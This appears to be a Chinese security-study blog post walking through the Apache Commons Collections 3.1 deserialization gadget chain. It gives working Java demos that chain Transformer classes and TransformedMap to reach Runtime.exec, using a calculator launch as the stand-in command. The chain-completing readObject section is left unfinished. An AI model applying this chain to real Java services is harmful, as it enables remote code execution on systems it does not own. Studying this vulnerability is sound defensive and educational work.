一:概述
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons 的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和 Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
CC链的前提是序列化或者反序列化:
序列化需要两个条件:
1、该类必须实现 java.io.Serlalizable接口
2、该类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明是短暂的
二:环境搭建
下边我们以Apache Commons collections 反序列化漏洞为例,先去下边地址下载commons-collections-3.1.zip文件:
https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip
下载完成后解压,然后IDEA新建一个Java项目导入commons-collections-3.1.jar包,如图:
我使用的jdk版本为:1.8.0_281
然后在src-com-company下创建一个class文件,内容如下:
ApacheCommonsCollectionsDemo.java
package com.company;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
public class ApacheCommonsCollectionsDemo {
public static void main(String[] args) {
//((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
//构造恶意的chain
Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类
new ConstantTransformer(Runtime.class),
//通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
};
Transformer transformChain = new ChainedTransformer(transformers);
//普通的Map
Map mp=new HashMap();
mp.put("sw", "demo");
// 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);
// 修改TransformedMap中的一个值,成功执行命令
Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
entry.setValue("test");
}
}
三:transform
Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer, CloneTransformer, ClosureTransformer, ConstantTransformer, ExceptionTransformer, FactoryTransformer, InstantiateTransformer, InvokerTransformer, MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer, SwitchTransformer(3和4的部分实现类有所区别)
介绍一部分实现类(需要用到的类)
ConstantTransformer
作用:获取class对象
关键是调用transform对象
demo.java
// 学习反序列化CC链调试程序
package com.company;
import org.apache.commons.collections.functors.ConstantTransformer;
public class Main {
public static void main(String[] args) {
// write your code here
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class
//相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么
Object transform = constantTransformer.transform("any");
System.out.println(transform);
System.out.println(transform.getClass().getName());
}
}
transform方法会忽略传入参数,不会改变当前对象,所以我们输出的还是:
class java.lang.Runtime
java.lang.Class
InvokerTransformer
通过反射调用传入对象的方法(public属性)
最常用的构造方法有三个参数:
1、methodname方法
2、class类型
3、方法参数
例如:methodName:“exec”,new Class[]{String.class},new Object[]{cmd}
commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
commons-collections4从4.1之后直接禁止被用于反序列化
它的Transform方法就是首先接受一个对象(ChainedTransformer),然后获取该对象的名称(ConstantTransformer),最后通过InvokerTransformer传入三个参数。
命令执行
// 方法一:常规套三层 InvokerTransformer
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
chain.transform("any"); // 任意传入都可
// 法二:传入 Runtime 实例
ChainedTransformer chain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
}
);
chain.transform("any"); // 任意传入都可
ChainedTransformer
传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用
上边的三个类连起来形成一条链的话就是:
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo03 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}//获取到了getRuntime方法
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}//用invoke方法传递参数
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执⾏对象转换操作
transformedChain.transform(null);
}
}
1) ConstantTransformer把传入对象转换为常量,并返回得到该对象(Runtime.class)
2)InvokerTransformer通过反射获取传入对象的方法,并且加入参数
3)ChainedTransformer执行链式的Transformer方法,将反射包含的数组进行链式调用,从而连贯起来
4)然后查找哪个对象能够接收ChainedTransformer方法
TransformedMap
这个类就是为了上一个方法的第四步
上一个方法的第四步之后我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要将数据添加到map中就可以调用这个转换链执行payload。
这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值,后者是一个常规操作,相比前者更容易触发。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer实现类分别绑定在map的key和value上,当map的key和value被修改时,会调用对应Transformer实现类的transformer()方法。
我们可以把 chainedtransformer 绑定到一个 TransformedMap 上,当此map的key或value发生改变时(调用 TransformedMap 的 setValue/put/putAll 中的任意方法),就会自动触发 chainedtransformer。
package com.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Demo04 {
public static void main(String[] args) {
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
//创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null,
transformedChain);
// transformedMap.put("v1", "v2");// 执⾏put也会触发transform
// 遍历Map元素,并调⽤setValue⽅法
for (Object obj : transformedMap.entrySet()) {
Map.Entry entry = (Map.Entry) obj;
// setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
entry.setValue("test");
}
// System.out.println(transformedMap);
}
}
TransformedMap 的条件:
1)实现了 java.io.Serializable 接口;
2)并且可以传入我们构造的TransformedMap对象(如上边例子中传入map的transformedChain对象);
3)调用了TransformedMap中的setValue/put/putAll中的任意一个方法;
AnnotationInvocationHandler
上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。 之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。
在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。—–这里待深入分析
四:历史链分析
待分析
五:参考链接
https://tyskill.github.io/posts/javatransformchain/#contents:transform
https://blog.csdn.net/xhy18634297976/article/details/122749129